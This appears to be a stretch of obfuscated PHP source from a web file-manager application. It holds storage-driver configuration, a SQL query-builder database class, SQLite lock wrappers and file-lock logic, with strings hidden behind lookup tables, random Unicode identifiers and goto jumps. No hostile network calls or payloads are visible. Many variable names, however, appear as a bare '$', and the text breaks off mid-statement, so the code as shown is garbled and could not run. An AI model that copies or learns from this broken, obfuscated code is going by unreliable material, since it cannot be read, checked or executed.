json_decode($퐡[$☓[6]], !0); foreach ($ as $ᅙ => $ɺ) { $[$ᅙ] = trim($ɺ); } $[$☓[2174]] = rand_string(6); $҅ = $GLOBALS[$☓[6]][$☓[89]][$☓[846]]; $ʌ = isset($҅[$]) ? $҅[$] : ucfirst($); $ӧ = $☓[74] . $ʌ; if (!$ʌ || !class_exists($ӧ)) { if ($) { return LNG($☓[2175]); } write_log(array($☓[2176], $퐡, get_caller_info()), $☓[2177]); show_json(LNG($☓[2175]), !1, $퐡); } $Ɲ = new $ӧ($); if (in_array($, $Ɲ->objectDriver)) { if (!$Ɲ->isBucketCors() && !$Ɲ->setBucketCors()) { $˦ = LNG($☓[2178]); $˦ .= $☓[2179] . LNG($☓[2180]); if ($) { return $˦; } show_json($˦, !1); } } $戏ő = rtrim($[$☓[1200]], $☓[8]) . $☓[8]; $묺 = $Ɲ->getPath($戏ő . $☓[1204]); if (!$Ɲ->mkfile($묺)) { if ($) { return LNG($☓[2178]); } show_json(LNG($☓[2178]), !1); } $[$☓[1200]] = $戏ő; $퐡[$☓[6]] = json_encode($); $퐡[$☓[95]] = $ʌ; return !0; } public function driverListSystem() { $⧶ =& $_SERVER[̧]; $ = parent::listData(); $ƍ = array(); foreach ($ as $) { unset($[$⧶[201]], $[$⧶[85]]); $[$⧶[6]] = json_decode($[$⧶[6]], !0); $ƍ[] = $; } return $ƍ; } public function defaultDriver() { $ =& $_SERVER[̧]; $ = parent::listData(); $ϔ = array_filter_by_field($, $[37], 1); $ϔ = $ϔ[0]; if ($ϔ) { $ϔ[$[6]] = json_decode($ϔ[$[6]], !0); } return $ϔ; } public function driverInfo($ɥ) { $ʉ =& $_SERVER[̧]; $𹗂 = array_to_keyvalue(parent::listData(), $ʉ[437]); if (!isset($𹗂[$ɥ])) { return !1; } $ = $𹗂[$ɥ]; $[$ʉ[6]] = json_decode($[$ʉ[6]], !0); return $; } public function remove($Ұ) { $this->removeShareItems($Ұ); return parent::remove($Ұ); } public function removeWithFile($؝, $֞ʊ) { $ʤ =& $_SERVER[̧]; $ȧ = array($ʤ[837] => $؝); $ȭƦ = Model($ʤ[509])->where($ȧ)->count(); $Ǭ = Model($ʤ[509])->where($ȧ)->sum($ʤ[76]); $¿贚 = $֞ʊ . $ʤ[2181] . $؝; $儡 = LNG($֞ʊ == $ʤ[586] ? $ʤ[2182] : $ʤ[2183]); $ɬ = new TaskFileTransfer($¿贚, $ʤ[2177], $ȭƦ, $儡 . "\x28{$؝}\51"); $ɬ->task[$ʤ[783]] = (double) $Ǭ; $꫔ = KodIO::defaultDriver(); $⣜ = $꫔[$ʤ[437]]; $ = "\173\x69\157\x3a{$⣜}\175\x2f"; $螳ߖ = !0; $ = array(); $ܞ҂ = Model($ʤ[200])->where($ȧ)->field($ʤ[2184])->select(); foreach ($ܞ҂ as $) { $ = $[$ʤ[84]]; $ = $ . str_replace("\173\x69\x6f\x3a{$؝}\x7d\x2f", $ʤ[12], $); if (!IO::exist($)) { $[] = $[$ʤ[506]]; $ɬ->updateFileEnd($[$ʤ[32]], $[$ʤ[76]]); continue; } if (IO::exist($)) { $ɬ->updateFileEnd($[$ʤ[32]], $[$ʤ[76]]); continue; } if (!IO::move($, get_path_father($))) { $螳ߖ = !1; break; } $ȧ = array($ʤ[506] => $[$ʤ[506]]); $ө = array($ʤ[837] => $⣜, $ʤ[84] => $); Model($ʤ[200])->where($ȧ)->save($ө); } $this->removeByFileID($); if (!$螳ߖ) { $ɬ->stop($¿贚); return !1; } $ɬ->end(); if ($֞ʊ == $ʤ[1820]) { $this->remove($؝); } } public function progress($ɲ, $) { return Task::get($ . $_SERVER[̧][2181] . $ɲ); } private function removeByFileID($ʜ = array()) { $ =& $_SERVER[̧]; if (empty($ʜ)) { return; } $헢 = array($[506] => array($[7], $ʜ)); $ز = Model($[1353])->where($헢)->field($[440])->select(); if (!$ز) { return; } $ز = array_to_keyvalue($ز, $[12], $[440]); foreach ($ز as $) { Model($[454])->removeNow($, !1); } } private function removeShareItems($蚧) { $Ɋ =& $_SERVER[̧]; $ = "\173\x69\157\72{$蚧}\x7d\x2f"; $뫁 = array($Ɋ[440] => 0, $Ɋ[1195] => array($Ɋ[412], "{$}\x25")); $ = Model($Ɋ[1831])->where($뫁)->field($Ɋ[631])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $Ɋ[12], $Ɋ[631]); Model($Ɋ[630])->remove($); } } goto d; C釭: class DbSqlite extends DbSqliteBase { public function query($ɺԚ) { $ =& $_SERVER[̧]; if (!CacheLock::fileLock($[13])) { return !1; } $ǩ = parent::query($ɺԚ); CacheLock::fileUnLock($[13]); return $ǩ; } public function execute($) { $֛ߊ =& $_SERVER[̧]; if (!CacheLock::fileLock($֛ߊ[13])) { return !1; } $ӄó = parent::execute($); CacheLock::fileUnLock($֛ߊ[13]); return $ӄó; } } class DbSqlite3 extends DbSqlite3Base { public function query($ݺ) { $º =& $_SERVER[̧]; if (!CacheLock::fileLock($º[13])) { return !1; } $ = parent::query($ݺ); CacheLock::fileUnLock($º[13]); return $; } public function execute($ɇ) { $ =& $_SERVER[̧]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($ɇ); CacheLock::fileUnLock($[13]); return $; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\x74\150\x69\156\153\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\x71" => "\x3d", "\x6e\145\161" => "\x3c\x3e", "\x67\x74" => "\76", "\145\x67\x74" => "\76\x3d", "\154\x74" => "\x3c", "\x65\154\x74" => "\74\x3d", "\156\x6f\x74\x6c\x69\153\x65" => "\116\117\124\x20\x4c\111\113\x45", "\x6c\x69\153\145" => "\114\x49\113\105", "\x69\156" => "\x49\x4e", "\156\x6f\x74\x69\x6e" => "\x4e\x4f\x54\40\111\116", "\x6e\x6f\164\x20\151\156" => "\x4e\x4f\x54\40\111\116", "\142\x65\164\167\x65\145\156" => "\x42\105\x54\127\105\x45\x4e", "\x6e\157\x74\x62\x65\164\167\x65\145\x6e" => "\x4e\x4f\124\40\x42\x45\124\x57\x45\x45\116", "\156\x6f\164\x20\142\145\x74\x77\145\145\x6e" => "\116\x4f\x54\x20\102\105\124\127\x45\105\116"); protected $selectSql = "\123\105\114\105\103\124\45\104\x49\x53\124\111\x4e\103\124\45\x20\45\106\x49\105\114\x44\45\x20\106\x52\x4f\115\40\x25\x54\101\x42\x4c\x45\x25\x25\x4a\117\111\116\x25\45\127\x48\x45\x52\105\x25\x25\x47\122\117\125\120\x25\x25\110\x41\x56\111\116\x47\x25\x25\117\x52\104\x45\122\45\x25\x4c\x49\115\111\x54\45\x20\x25\x55\116\111\x4f\116\x25\45\x43\117\x4d\115\x45\116\124\45"; protected $bind = array(); public static function getInstance() { $ь = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[̧][980], $ь); } public function factory($ܹ = '') { $ë =& $_SERVER[̧]; $ܹ = $this->parseConfig($ܹ); if (empty($ܹ[$ë[981]])) { think_exception(think_lang($ë[982])); } $this->dbType = ucwords(strtolower($ܹ[$ë[981]])); $۫ = $ë[983] . $this->dbType; if (class_exists($۫)) { $܍ = new $۫($ܹ); if ($ë[984] != strtolower($ܹ[$ë[981]])) { $܍->dbType = strtoupper($this->dbType); } else { $܍->dbType = $this->_getDsnType($ܹ[$ë[936]]); } } else { think_exception(think_lang($ë[985]) . $ë[986] . $۫); } return $܍; } public function __call($, $) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } } protected function _getDsnType($硜) { $Ė = explode($_SERVER[̧][4], $硜); $耙 = strtoupper(trim($Ė[0])); return $耙; } private function parseConfig($ = '') { $ =& $_SERVER[̧]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($[981] => $[$[987]], $[908] => $[$[988]], $[909] => $[$[989]], $[906] => $[$[990]], $[907] => $[$[991]], $[21] => $[$[992]], $[936] => $[$[993]], $[17] => isset($[$[994]]) ? $[$[994]] : array()); } elseif (empty($)) { if (think_config($[995]) && $[984] != strtolower(think_config($[996]))) { $ = $this->parseDSN(think_config($[995])); } else { $ = array($[981] => think_config($[996]), $[908] => think_config($[997]), $[909] => think_config($[998]), $[906] => think_config($[999]), $[907] => think_config($[1000]), $[21] => think_config($[275]), $[936] => think_config($[995]), $[17] => think_config($[1001])); } } return $; } protected function initConnect($̠ = true) { if (1 == think_config($_SERVER[̧][22])) { $this->_linkID = $this->multiConnect($̠); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $ǯ) { $this->_linkID = $ǯ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($Ĭ = false) { $֖ =& $_SERVER[̧]; static $ = array(); static $ = -1; if (empty($)) { foreach ($this->config as $ => $΃) { $[$] = explode($֖[50], $΃); } } if (think_config($֖[1002])) { if ($Ĭ || think_config($֖[424]) === !0) { $ = floor(mt_rand(0, think_config($֖[1003]) - 1)); $ = $; } else { if (is_numeric(think_config($֖[1004]))) { $ = think_config($֖[1004]); } else { $ = floor(mt_rand(think_config($֖[1003]), count($[$֖[906]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$֖[906]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $΃ = array($֖[908] => isset($[$֖[908]][$]) ? $[$֖[908]][$] : $[$֖[908]][0], $֖[909] => isset($[$֖[909]][$]) ? $[$֖[909]][$] : $[$֖[909]][0], $֖[906] => isset($[$֖[906]][$]) ? $[$֖[906]][$] : $[$֖[906]][0], $֖[907] => isset($[$֖[907]][$]) ? $[$֖[907]][$] : $[$֖[907]][0], $֖[21] => isset($[$֖[21]][$]) ? $[$֖[21]][$] : $[$֖[21]][0], $֖[936] => isset($[$֖[936]][$]) ? $[$֖[936]][$] : $[$֖[936]][0], $֖[17] => isset($[$֖[17]][$]) ? $[$֖[17]][$] : $[$֖[17]][0]); return $this->connect($΃, $); } public function parseDSN($ű) { $ =& $_SERVER[̧]; if (empty($ű)) { return !1; } $㞳 = parse_url($ű); if ($㞳[$[181]]) { $ = array($[981] => $㞳[$[181]], $[908] => isset($㞳[$[628]]) ? $㞳[$[628]] : $[12], $[909] => isset($㞳[$[1005]]) ? $㞳[$[1005]] : $[12], $[906] => isset($㞳[$[182]]) ? $㞳[$[182]] : $[12], $[907] => isset($㞳[$[183]]) ? $㞳[$[183]] : $[12], $[21] => isset($㞳[$[84]]) ? substr($㞳[$[84]], 1) : $[12]); } else { preg_match($[1006], trim($ű), $ԙ); $ = array($[981] => $ԙ[1], $[908] => $ԙ[2], $[909] => $ԙ[3], $[906] => $ԙ[4], $[907] => $ԙ[5], $[21] => $ԙ[6]); } $[$[936]] = $[12]; return $; } protected function debug() { $ =& $_SERVER[̧]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1007]; if (think_config($[1008])) { think_status($[1009]); think_trace($this->queryStr . $[1010] . think_status($[24], $[1009], 6) . $[1011], $[12], $[1012]); } } protected function parseLock($ = false) { $ =& $_SERVER[̧]; if (!$) { return $[12]; } if ($[938] == $this->dbType) { return $[1013]; } return $[1014]; } protected function parseSet($) { $Ƙ =& $_SERVER[̧]; foreach ($ as $Ơ => $) { if (is_array($) && $Ƙ[326] == $[0]) { $[] = $this->parseKey($Ơ) . $Ƙ[904] . $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($Ơ) . $Ƙ[904] . $this->parseValue($); } } return $Ƙ[1015] . implode($Ƙ[50], $); } protected function bindParam($𑢬, $) { $this->bind[$_SERVER[̧][4] . $𑢬] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$쿣, $ǟ֨ = true) { if ($ǟ֨) { $쿣 = $this->parseKeyCheck($쿣); } return $쿣; } function parseKeyCheck($ݒ) { $– =& $_SERVER[̧]; $ݒ = trim($ݒ); if (!preg_match($–[1016], $ݒ)) { think_exception($–[1017] . $ݒ); } return $ݒ; } protected function parseValue($) { $ =& $_SERVER[̧]; if (is_string($)) { $ = $[977] . $this->escapeString($) . $[977]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[326]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[978]), $); } elseif (is_bool($)) { $ = $ ? $[88] : $[198]; } elseif (is_null($)) { $ = $[103]; } return $; } protected function parseField($ث) { $ؠ =& $_SERVER[̧]; if (is_string($ث) && strpos($ث, $ؠ[50])) { $ث = explode($ؠ[50], $ث); } if (is_array($ث)) { $È = array(); foreach ($ث as $ɧֹ => $ܱ) { if (!is_numeric($ɧֹ)) { $È[] = $this->parseKey($ɧֹ, !1) . $ؠ[1018] . $this->parseKey($ܱ); } else { $È[] = $this->parseKey($ܱ); } } $ּ = implode($ؠ[50], $È); } elseif (is_string($ث) && !empty($ث)) { $ּ = $ث; } else { $ּ = $ؠ[189]; } return $ּ; } protected function parseTable($ÿ) { $ =& $_SERVER[̧]; if (is_array($ÿ)) { $˃ʠ = array(); foreach ($ÿ as $ => $غի) { if (!is_numeric($)) { $˃ʠ[] = $this->parseKey($) . $[53] . $this->parseKey($غի); } else { $˃ʠ[] = $this->parseKey($); } } $ÿ = $˃ʠ; } elseif (is_string($ÿ)) { if (strstr($ÿ, $[53])) { return $ÿ; } $ÿ = explode($[50], $ÿ); array_walk($ÿ, array($this, $[926])); } return $[920] . trim(implode($[1019], $ÿ), $[414]) . $[920]; } protected function parseWhere($) { $ =& $_SERVER[̧]; $ů = $[12]; if (is_string($)) { $ů = $; } else { $ȥً = isset($[$[1020]]) ? strtoupper($[$[1020]]) : $[12]; if (in_array($ȥً, array($[1021], $[1022], $[1023]))) { $ȥً = $[53] . $ȥً . $[53]; unset($[$[1020]]); } else { $ȥً = $[1024]; } foreach ($ as $ܢ => $) { $ů .= $[306]; if (is_numeric($ܢ)) { $ܢ = $[1025]; } if (0 === strpos($ܢ, $[11])) { $ů .= $this->parseThinkWhere($ܢ, $); } else { if (!preg_match($[1026], trim($ܢ))) { think_exception(think_lang($[1027]) . $[4] . $ܢ); } $ = is_array($) && isset($[$[1028]]); $ܢ = trim($ܢ); if (strpos($ܢ, $[312])) { $ = explode($[312], $ܢ); $ = array(); foreach ($ as $Ӷڡ => $) { $ی = $ ? $[$Ӷڡ] : $; $[] = $[289] . $this->parseWhereItem($this->parseKey($), $ی) . $[925]; } $ů .= implode($[1029], $); } elseif (strpos($ܢ, $[313])) { $ = explode($[313], $ܢ); $ = array(); foreach ($ as $Ӷڡ => $) { $ی = $ ? $[$Ӷڡ] : $; $[] = $[289] . $this->parseWhereItem($this->parseKey($), $ی) . $[925]; } $ů .= implode($[1024], $); } else { $ů .= $this->parseWhereItem($this->parseKey($ܢ), $); } } $ů .= $[307] . $ȥً; } $ů = substr($ů, 0, -strlen($ȥً)); } return empty($ů) ? $[12] : $[1030] . $ů; } protected function parseWhereItem($, $) { $ =& $_SERVER[̧]; $ހ = $[12]; if (is_array($)) { if (is_string($[0])) { $ = strtolower($[0]); if (in_array($[0], array($[904], $[1031], $[1032], $[1033], $[1034], $[1035]))) { $ހ .= $ . $[53] . $[0] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1036], $[0])) { $ހ .= $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1037], $[0])) { if (is_array($[1])) { $ԩ = isset($[2]) ? strtoupper($[2]) : $[1022]; if (in_array($ԩ, array($[1021], $[1022], $[1023]))) { $ = array(); foreach ($[1] as $) { $[] = $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($); } $ހ .= $[289] . implode($[53] . $ԩ . $[53], $) . $[925]; } } else { $ހ .= $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } } elseif ($[326] == $) { $ހ .= $[923] . $ . $[53] . $[1] . $[1038]; } elseif (preg_match($[1039], $[0])) { $ހ .= $[0]; } elseif (preg_match($[1040], $[0])) { if (isset($[2]) && $[326] == $[2]) { $ހ .= $ . $[53] . $this->exp[$] . $[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($[50], $[1]); } $ܙ = implode($[50], $this->parseValue($[1])); $ހ .= $ . $[53] . $this->exp[$] . $[923] . $ܙ . $[925]; } } elseif (preg_match($[1041], $[0])) { $ǧ = is_string($[1]) ? explode($[50], $[1]) : $[1]; $ހ .= $[923] . $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($ǧ[0]) . $[1024] . $this->parseValue($ǧ[1]) . $[307]; } else { think_exception(think_lang($[1027]) . $[4] . $[0]); } } else { $ = count($); $ = $[12]; if (is_string($[$ - 1])) { $ = isset($[$ - 1]) ? strtoupper($[$ - 1]) : $[12]; if (in_array($, array($[1021], $[1022], $[1023]))) { $ = $ - 1; } } else { $ = $[1021]; } for ($ڶ = 0; $ڶ < $; $ڶ++) { $ǧ = is_array($[$ڶ]) ? $[$ڶ][1] : $[$ڶ]; if ($[326] == strtolower($[$ڶ][0])) { $ހ .= $[289] . $ . $[53] . $ǧ . $[1038] . $ . $[53]; } else { $Թ = is_array($[$ڶ]) ? $this->exp[strtolower($[$ڶ][0])] : $[904]; if (!$Թ && is_array($[$ڶ]) && in_array($[$ڶ][0], array($[904], $[1031], $[1032], $[1033], $[1034], $[1035]))) { $Թ = $[$ڶ][0]; } $ހ .= $[289] . $ . $[53] . $Թ . $[53] . $this->parseValue($ǧ) . $[1038] . $ . $[53]; } } $ހ = substr($ހ, 0, -4); } } else { $ހ .= $ . $[1042] . $this->parseValue($); } return $ހ; } protected function parseThinkWhere($纲, $) { $ =& $_SERVER[̧]; $ɳ = $[12]; switch ($纲) { case $[381]: $ɳ = $; break; case $[1025]: $ɳ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1043]: parse_str($, $ͫ); if (isset($ͫ[$[1020]])) { $ = $[53] . strtoupper($ͫ[$[1020]]) . $[53]; unset($ͫ[$[1020]]); } else { $ = $[1024]; } $ = array(); foreach ($ͫ as $ => $) { $[] = $this->parseKey($) . $[1042] . $this->parseValue($); } $ɳ = implode($, $); break; } return $ɳ; } protected function parseLimit($) { $ =& $_SERVER[̧]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($֝͜) { $ =& $_SERVER[̧]; $֫ = $[12]; if (!empty($֝͜)) { if (is_array($֝͜)) { foreach ($֝͜ as $И => $޲) { if (!1 !== stripos($޲, $[1044])) { $֫ .= $[53] . $޲; } else { $֫ .= $[1045] . $޲; } } } else { $֫ .= $[1045] . $֝͜; } } $֫ = preg_replace($[1046], think_config($[950]) . $[1047], $֫); return $֫; } protected function parseOrder($꫘) { $٬ =& $_SERVER[̧]; if (is_array($꫘)) { $Ԯ = array(); foreach ($꫘ as $ => $) { if (is_numeric($)) { $Ԯ[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($٬[1048], $٬[1049])) ? $٬[53] . $ : $٬[12]; if (preg_match($٬[1050], $)) { $Ԯ[] = $this->parseKey($) . $; } else { think_exception($٬[1051] . $); } } } $꫘ = implode($٬[50], $Ԯ); } return !empty($꫘) ? $٬[1052] . $꫘ : $٬[12]; } protected function parseGroup($) { $ո =& $_SERVER[̧]; return !empty($) ? $ո[1053] . $ : $ո[12]; } protected function parseHaving($۸dž) { $Օ¦ =& $_SERVER[̧]; return !empty($۸dž) ? $Օ¦[1054] . $۸dž : $Օ¦[12]; } protected function parseComment($Ɣ) { $ׁ =& $_SERVER[̧]; return !empty($Ɣ) ? $ׁ[1055] . $Ɣ . $ׁ[1056] : $ׁ[12]; } protected function parseDistinct($Ȇ) { $ =& $_SERVER[̧]; return !empty($Ȇ) ? $[1057] : $[12]; } protected function parseUnion($ϓ) { $쮯 =& $_SERVER[̧]; if (empty($ϓ)) { return $쮯[12]; } if (isset($ϓ[$쮯[377]])) { $ = $쮯[1058]; unset($ϓ[$쮯[377]]); } else { $ = $쮯[1059]; } foreach ($ϓ as $ƥ) { $[] = $ . (is_array($ƥ) ? $this->buildSelectSql($ƥ) : $ƥ); } return implode($쮯[53], $); } public function insert($, $ = array(), $ή = false) { $ =& $_SERVER[̧]; $째 = $ = array(); $this->model = $[$[310]]; foreach ($ as $ => $嬇) { if (is_array($嬇) && $[326] == $嬇[0]) { $[] = $this->parseKey($); $째[] = $嬇[1]; } elseif (is_scalar($嬇) || is_null($嬇)) { $[] = $this->parseKey($); $째[] = $this->parseValue($嬇); } } $˜ = ($ή ? $[927] : $[928]) . $[929] . $this->parseTable($[$[308]]) . $[923] . implode($[50], $) . $[924] . implode($[50], $째) . $[925]; $˜ .= $this->parseLock(isset($[$[863]]) ? $[$[863]] : !1); $˜ .= $this->parseComment(!empty($[$[383]]) ? $[$[383]] : $[12]); return $this->execute($˜, $this->parseBind(!empty($[$[314]]) ? $[$[314]] : array())); } public function selectInsert($Ѿ, $ȡ, $ = array()) { $ =& $_SERVER[̧]; $this->model = $[$[310]]; if (is_string($Ѿ)) { $Ѿ = explode($[50], $Ѿ); } array_walk($Ѿ, array($this, $[926])); $ț = $[1060] . $this->parseTable($ȡ) . $[923] . implode($[50], $Ѿ) . $[1038]; $ț .= $this->buildSelectSql($); return $this->execute($ț, $this->parseBind(!empty($[$[314]]) ? $[$[314]] : array())); } public function update($ʜ, $㸣) { $˿ =& $_SERVER[̧]; $this->model = $㸣[$˿[310]]; $ = $˿[1061] . $this->parseTable($㸣[$˿[308]]) . $this->parseSet($ʜ) . $this->parseWhere(!empty($㸣[$˿[304]]) ? $㸣[$˿[304]] : $˿[12]) . $this->parseOrder(!empty($㸣[$˿[394]]) ? $㸣[$˿[394]] : $˿[12]) . $this->parseLimit(!empty($㸣[$˿[321]]) ? $㸣[$˿[321]] : $˿[12]) . $this->parseLock(isset($㸣[$˿[863]]) ? $㸣[$˿[863]] : !1) . $this->parseComment(!empty($㸣[$˿[383]]) ? $㸣[$˿[383]] : $˿[12]); return $this->execute($, $this->parseBind(!empty($㸣[$˿[314]]) ? $㸣[$˿[314]] : array())); } public function delete($普 = array()) { $ʀ =& $_SERVER[̧]; $this->model = $普[$ʀ[310]]; $ = $ʀ[1062] . $this->parseTable($普[$ʀ[308]]) . $this->parseWhere(!empty($普[$ʀ[304]]) ? $普[$ʀ[304]] : $ʀ[12]) . $this->parseOrder(!empty($普[$ʀ[394]]) ? $普[$ʀ[394]] : $ʀ[12]) . $this->parseLimit(!empty($普[$ʀ[321]]) ? $普[$ʀ[321]] : $ʀ[12]) . $this->parseLock(isset($普[$ʀ[863]]) ? $普[$ʀ[863]] : !1) . $this->parseComment(!empty($普[$ʀ[383]]) ? $普[$ʀ[383]] : $ʀ[12]); return $this->execute($, $this->parseBind(!empty($普[$ʀ[314]]) ? $普[$ʀ[314]] : array())); } public function select($ܓ܆ = array()) { $Βʓ =& $_SERVER[̧]; $this->model = $ܓ܆[$Βʓ[310]]; $պ = $this->buildSelectSql($ܓ܆); $ٞ = isset($ܓ܆[$Βʓ[378]]) ? $ܓ܆[$Βʓ[378]] : !1; if ($ٞ) { $䐳 = is_string($ٞ[$Βʓ[94]]) ? $ٞ[$Βʓ[94]] : $Βʓ[1063] . md5($պ); $듽 = think_cache($䐳, $Βʓ[12], $ٞ); if (!1 !== $듽) { return $듽; } } $ = $this->query($պ, $this->parseBind(!empty($ܓ܆[$Βʓ[314]]) ? $ܓ܆[$Βʓ[314]] : array())); if ($ٞ && !1 !== $) { think_cache($䐳, $, $ٞ); } return $; } public function buildSelectSql($ = array()) { $ד =& $_SERVER[̧]; if (isset($[$ד[382]])) { if (strpos($[$ד[382]], $ד[50])) { list($, $) = explode($ד[50], $[$ד[382]]); } else { $ = $[$ד[382]]; } $ = $ ? $ : 1; $ = isset($) ? $ : (is_numeric($[$ד[321]]) ? $[$ד[321]] : 20); $ = $ * ((int) $ - 1); $[$ד[321]] = $ . $ד[50] . $; } if (think_config($ד[1064])) { $̫ = $ד[1065] . md5(serialize($)); $齛 = think_cache($̫); if ($齛) { return $齛; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$ד[863]]) ? $[$ד[863]] : !1); if (isset($̫)) { think_cache($̫, $); } return $; } public function parseSql($Ơ, $ɠ = array()) { $߯ =& $_SERVER[̧]; $Ơ = str_replace(array($߯[1066], $߯[1067], $߯[1068], $߯[1069], $߯[1070], $߯[1071], $߯[1072], $߯[1073], $߯[1074], $߯[1075], $߯[1076]), array($this->parseTable("{$ɠ[$߯[308]]}"), $this->parseDistinct(isset($ɠ[$߯[1077]]) ? $ɠ[$߯[1077]] : !1), $this->parseField(!empty($ɠ[$߯[302]]) ? $ɠ[$߯[302]] : $߯[189]), $this->parseJoin(!empty($ɠ[$߯[311]]) ? $ɠ[$߯[311]] : $߯[12]), $this->parseWhere(!empty($ɠ[$߯[304]]) ? $ɠ[$߯[304]] : $߯[12]), $this->parseGroup(!empty($ɠ[$߯[543]]) ? $ɠ[$߯[543]] : $߯[12]), $this->parseHaving(!empty($ɠ[$߯[1078]]) ? $ɠ[$߯[1078]] : $߯[12]), $this->parseOrder(!empty($ɠ[$߯[394]]) ? $ɠ[$߯[394]] : $߯[12]), $this->parseLimit(!empty($ɠ[$߯[321]]) ? $ɠ[$߯[321]] : $߯[12]), $this->parseUnion(!empty($ɠ[$߯[376]]) ? $ɠ[$߯[376]] : $߯[12]), $this->parseComment(!empty($ɠ[$߯[383]]) ? $ɠ[$߯[383]] : $߯[12])), $Ơ); return $Ơ; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($賻) { return addslashes($賻); } public function setModel($Ҳ) { $this->model = $Ҳ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } goto fӈ; a: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($ؓ) { $ԥ =& $_SERVER[̧]; if (!$this->allowLock()) { return; } $this->_lockCheck($ԥ[584], $ؓ); $ = 1; $this->_lockEvent($ؓ, array($ԥ[585], $ԥ[586]), $); $this->_lockParent($ؓ, array($ԥ[586]), $); $this->_lockEvent($ؓ, array($ԥ[587], $ԥ[588]), $); $this->_lockCheckEnd($ԥ[584], $ؓ); } public function lockCopyEnd($) { $˵ =& $_SERVER[̧]; if (!$this->allowLock()) { return; } $Ӑ˴ = 0; $this->_lockEvent($, array($˵[585], $˵[586]), $Ӑ˴); $this->_lockParent($, array($˵[586]), $Ӑ˴); $this->_lockEvent($, array($˵[587], $˵[588]), $Ӑ˴); } public function lockWriteStart($, $ = '') { $ =& $_SERVER[̧]; if (!$this->allowLock()) { return; } $this->_lockCheck($[585], $); $ = 1; $this->_lockKey($[589] . $ . $[10] . $, $); $this->_lockEvent($, array($[584], $[586]), $); $this->_lockParent($, array($[584], $[586]), $); $this->_lockCheckEnd($[585], $); } public function lockWriteEnd($, $Ю = '') { $Ք =& $_SERVER[̧]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($Ք[589] . $ . $Ք[10] . $Ю, $); $this->_lockEvent($, array($Ք[584], $Ք[586]), $); $this->_lockParent($, array($Ք[584], $Ք[586]), $); } public function lockMoveStart($Ɣ) { $ߪ =& $_SERVER[̧]; if (!$this->allowLock()) { return; } $this->_lockCheck($ߪ[586], $Ɣ); $ó = 1; $this->_lockKey($ߪ[590] . $Ɣ, $ó); $this->_lockEvent($Ɣ, array($ߪ[584], $ߪ[585]), $ó); $this->_lockParent($Ɣ, array($ߪ[584], $ߪ[586]), $ó); $this->_lockEvent($Ɣ, array($ߪ[591], $ߪ[587], $ߪ[588]), $ó); $this->_lockCheckEnd($ߪ[586], $Ɣ); } public function lockMoveEnd($) { $į =& $_SERVER[̧]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($į[590] . $, $); $this->_lockEvent($, array($į[584], $į[585]), $); $this->_lockParent($, array($į[584], $į[586]), $); $this->_lockEvent($, array($į[591], $į[587], $į[588]), $); } private function _lockCheck($覍, $ӣ) { $ֿן =& $_SERVER[̧]; $ۦΥ = $this->sourceInfo($ӣ); $ٯǑ = $覍 . $ֿן[10] . $ӣ; $this->_lockTimeStart[$ٯǑ] = timeFloat(); if (!is_array($ۦΥ)) { return; } $ = LNG($ֿן[592]); CacheLock::setErrorMsg($ֿן[162] . htmlspecialchars($ۦΥ[$ֿן[32]]) . $ֿן[164] . $); $this->_lockKey($ٯǑ, 1); $this->_lockKey($ٯǑ, 0); $ = array_reverse($this->parentLevelArray($ۦΥ[$ֿן[549]])); foreach ($ as $) { $ٯǑ = $覍 . $ֿן[593] . $; if (CacheLock::lockGet($ֿן[594] . $ٯǑ)) { $ۦΥ = $this->sourceInfo($); CacheLock::setErrorMsg($ֿן[162] . htmlspecialchars($ۦΥ[$ֿן[32]]) . $ֿן[164] . $); $this->_lockKey($ٯǑ, 1); $this->_lockKey($ٯǑ, 0); } } } private function _lockCheckEnd($󊲅, $Ϙ) { $ړ =& $_SERVER[̧]; $ = $󊲅 . $ړ[10] . $Ϙ; CacheLock::setErrorMsg($ړ[407]); if (!isset($this->_lockTimeStart[$])) { return; } $퉜Ր = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($퉜Ր > 0.5) { 